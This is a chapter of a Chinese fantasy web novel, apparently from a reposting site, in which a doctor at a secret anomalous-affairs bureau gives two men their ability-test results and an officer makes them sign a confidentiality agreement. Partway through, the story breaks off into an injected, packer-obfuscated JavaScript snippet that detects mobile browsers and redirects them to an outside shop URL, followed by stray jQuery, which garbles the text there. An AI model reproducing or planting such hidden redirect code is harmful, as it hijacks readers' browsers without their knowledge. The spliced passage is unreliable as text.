两人很快便在白旭羽的指导下完成了样本采集。
只不过中间出了一点小意外——
黄铭在抽血的时候晕过去了。
但也正因如此,后续的唾液采集反而异常顺利。
不过检测结果还需要一些时间。
这段时间里,白旭羽始终留在医学中心,就连前来交班的陈医生到了,他也没有离开。
“他既然是我接手的人,我会负责到底。”
白旭羽低头看了眼病床上的黄铭,他躺得四仰八叉,胳膊上还贴着止血贴,时不时吧唧一下嘴,仿佛梦里已经成功觉醒了飞行能力。
他替黄铭掖了掖被角,随后抬眸看向张玄阳,耐心地讲解着。
“检测结果预计三小时内出来,目前样本正在进行活跃度分析和因子序列比对。”
“如果检测到特异表达区段,我们还会进行一次深度建模,时间可能会稍微延长。”
张玄阳坐在病床边,闻言点了点头,视线落在无信号的手机上。
病房里一时有些安静,白旭羽将一叠文件整理好,坐在张玄阳对面。
“冒昧问一下。”
张玄阳:“嗯?”
“您是黄先生的监护人吗?”
张玄阳:“?”
白旭羽推了推眼镜:“因为填写基本信息的时候,他紧急联系人写的是您。”
“而且一路上似乎也是您在照顾他。”
张玄阳沉默两秒,低头看向病床。
“不是,我和他认识不到一天。”
白旭羽明显愣了一下。
“这样吗?”
他看看黄铭,又看看张玄阳,沉默片刻。
“抱歉,那您真是个好人。”
张玄阳:“……”
不知道为什么,他总觉得这句话不像夸奖。
白旭羽有些尴尬地笑了笑,没有继续这个话题,他低头翻了一页资料,张玄阳却忽然开口。
“我也能问个问题吗?”
“请说。”
张玄阳开口道:“送我们进来的,是什么人?”
白旭羽一副了然的模样:“看来应队又没尽到解释义务。”
张玄阳挑了挑眉。
“经常这样?”
“嗯。”
白旭羽想了想,委婉地说道:“应队比较注重效率,能用一句话说完的事情,他通常不会说第二句。”
张玄阳点点头:“懂了,翻译一下就是高冷。”
白旭羽微微一怔,随后失笑:“也可以这么理解,不过应队负责的工作比较特殊,所以比起解释,他更习惯先解决问题。”
张玄阳沉默片刻。
“比如今晚那种?”
“比如今晚那种。”
白旭羽点头:“以及更多比那危险得多的东西。”
话音落下,两人都没有说话,病房一下安静下来,窗外走廊偶尔有人经过,电子屏上的数据依旧在不断滚动。
白旭羽合上平板,语气依旧平和。
“正式介绍一下吧,这里隶属于国家异常事务管理局。”
“内部代号——异星局。”
“专责异能因子相关人员的侦测、评估、干预与管控。”
张玄阳眨了眨眼睛。
“不理解吗?”白旭羽垂眸笑了笑:“没关系,如果可以,我希望您可以平安回归生活,不必接触这些。”
白旭羽望向窗外来来往往的工作人员。
“也许能够一辈子不知道异星局存在,本身就是一件幸运的事。”
“因为这意味着他们的环境足够安全。”
张玄阳看着他,忽然发现眼前这个看起来温温和和、像个大学老师一样的年轻医生,大概也见过很多普通人一辈子都不会见到的东西。
“那简月呢?”张玄阳顿了顿,问道:“她看起来……和你们不一样。”
“她也是异人吧。”
他想起夜色下,天台边缘,她向着失控的触手怪走去,没有恐惧,也没有迟疑。
血色漫上她的白色长裙,她连眼睛都没眨一下,仿佛已经见过无数次这样的场景。
可她却不像小李一般失控。
也不像应舟等人一样有组织行动。
她像是一个游离在外的人,站在人群之中,却始终隔着一层看不见的距离。
仿佛连她自己,也不知道答案。
白旭羽闻言握着平板的手微微顿了一下,这一次,他没有立刻回答。
“简月……”白旭羽轻轻念了一遍这个名字,镜片后的目光垂落下来。
半晌,他才低声开口:“抱歉,那不是我能替她说的事。”
张玄阳点了点,没再问下去,只是看了一眼熟睡中的黄铭,眸中掠过一抹释然与欣慰。
也许人活一世,没心没肺也不是什么坏事。
不知道过了多久,黄铭从睡梦中醒来。
等他再睁眼时,却突然发现自己被一圈人围住,个个俯身盯着他看。
张玄阳、应舟、简月、白旭羽……
他吓得猛地一个激灵,差点从病床上蹦起来:“你、你们干嘛?!”
众人对视一眼,神色复杂。
他更慌了,本能地抓住张玄阳的袖子:“张道长,你实话告诉我,我是不是变超人了?”
张玄阳僵了一下,一脸嫌弃地将他的手从自己身上拿开。
“……没有,是你打呼太大声,把大家都吸引过来了。”
黄铭瞪大眼睛:“what?!”
白旭羽忍俊不禁,轻声道:“他逗你呢,没有的事,别紧张。”
“我还以为是检测结果出来了……”
“结果是出来了。”
白旭羽举起手里的平板,朝他微笑。
黄铭一个激灵,两眼放光道:“白医生,结果怎么样?!”
白旭羽低头看了眼数据,语气温和,带着一点安抚意味:“目前你体内的因子处于休眠状态,恭喜你。”
“恭喜我?”黄铭眨巴着眼睛,半晌才反应过来:“所以……我没有超能力?”
白旭羽点点头:“至少目前没有。”
黄铭沉默了一下,自我安慰般笑了笑。
“哦这样啊,这样挺好,毕竟我可不想哪天半夜醒来发现自己身上长满眼睛。”
他说着像是突然想起什么,指着张玄阳问道:“那他呢?”
“检测完成,这是保密协议。”
还未等白旭羽回答,一道冷淡地声音突然响起,应舟将两份密封文件袋放在桌子上。
张玄阳挑了挑眉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940107|213890||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,白旭羽的动作也微微一顿,刚刚已经到嘴边的话,被这一句生生截断。
应舟像是没看到众人的反应,只是将文件推到两人面前。
“确认后签字。”
黄铭脸色一僵,低头去看,文件上清晰印着“涉密文件”,底部还有一串醒目的红色编号和防伪标记。
“这……这是什么?”
无人回答,周遭只剩仪器轻轻响动的声音。
“这看起来,比我师父的秘卷还神秘。”张玄阳说着,看都不看便提笔落名。
“张道长!你好歹看一下啊!”黄铭有些发怵地瞪着协议,一边看一边咕哝:“你就不怕被卖了?”
“你现在知道怕了?”张玄阳笑道:“刚刚睡得跟死猪一样的时候怎么不怕了?”
“不是……”
黄铭还想说些什么,张玄阳却没再接话,只是签完最后一页,将文件合上推了回去。
“随遇而安。”
其实他想说,人都被“抓”到这了,还有得选吗?
黄铭看着他,一时间竟不知道该佩服还是该无语。
“张道长。”
“嗯?”
“你是不是从来不焦虑?”
张玄阳想了想。
“焦虑过。”
“后来发现没什么用。”
黄铭:“……”
这话居然该死地有道理,可他黄铭不是那种随便的人,他刚要反抗,忽然察觉到一道目光落在了自己身上。
他僵硬地抬起头,应舟正看着他。
那双眼睛没什么情绪,也没有催促,但黄铭莫名觉得,自己像是被什么大型冷血动物盯上了。
“签字、按印、录眼膜。”应舟说,简明扼要。
黄铭咽了咽口水,心一横,硬着头皮看下去。
前面几页还算正常:保密义务、配合调查、禁止泄露异常事件相关信息。
直到翻到其中一页,黄铭的动作突然顿住。
“等等!”他指着其中一条条款道:“这条什么意思?”
黄铭指着协议,满脸不可置信。
“签署人需暂停或终止一切公众传播行为,直至评估期结束?”
“这不就是让我停播?!”
张玄阳看了一眼,颔首道:“合情合理,人家怕你一边直播一边嘴瓢。”
“我不答应!”
黄铭情绪瞬间激动:“我是探险博主诶,不让我直播我怎么活?”
“我不同意!夺人饭碗等于谋财害命!”
应舟依旧面无表情,漆黑眼底不见丝毫波澜:“评估期间产生的一切经济损失,由异星局全额补偿。”
“拿什么补偿?”黄铭根本听不进去:“我还不知道你们?!”
“每月按低保算,再发面锦旗,上面写‘感谢黄先生为国家安全事业作出的贡献’,是吧?!”
“你们就是霸权主义!我……我宁死不从!”
张玄阳看见应舟沉下来的脸,揉了揉太阳穴,真的很想假装不认识黄铭。
“应队,你看,我们小黄确实是很热爱直播事业,要不这条就给他豁免了呗?”
应舟眉心微蹙,周身气压肉眼可见地低了下去。
“按最高收入标准补偿。”
黄铭:“???”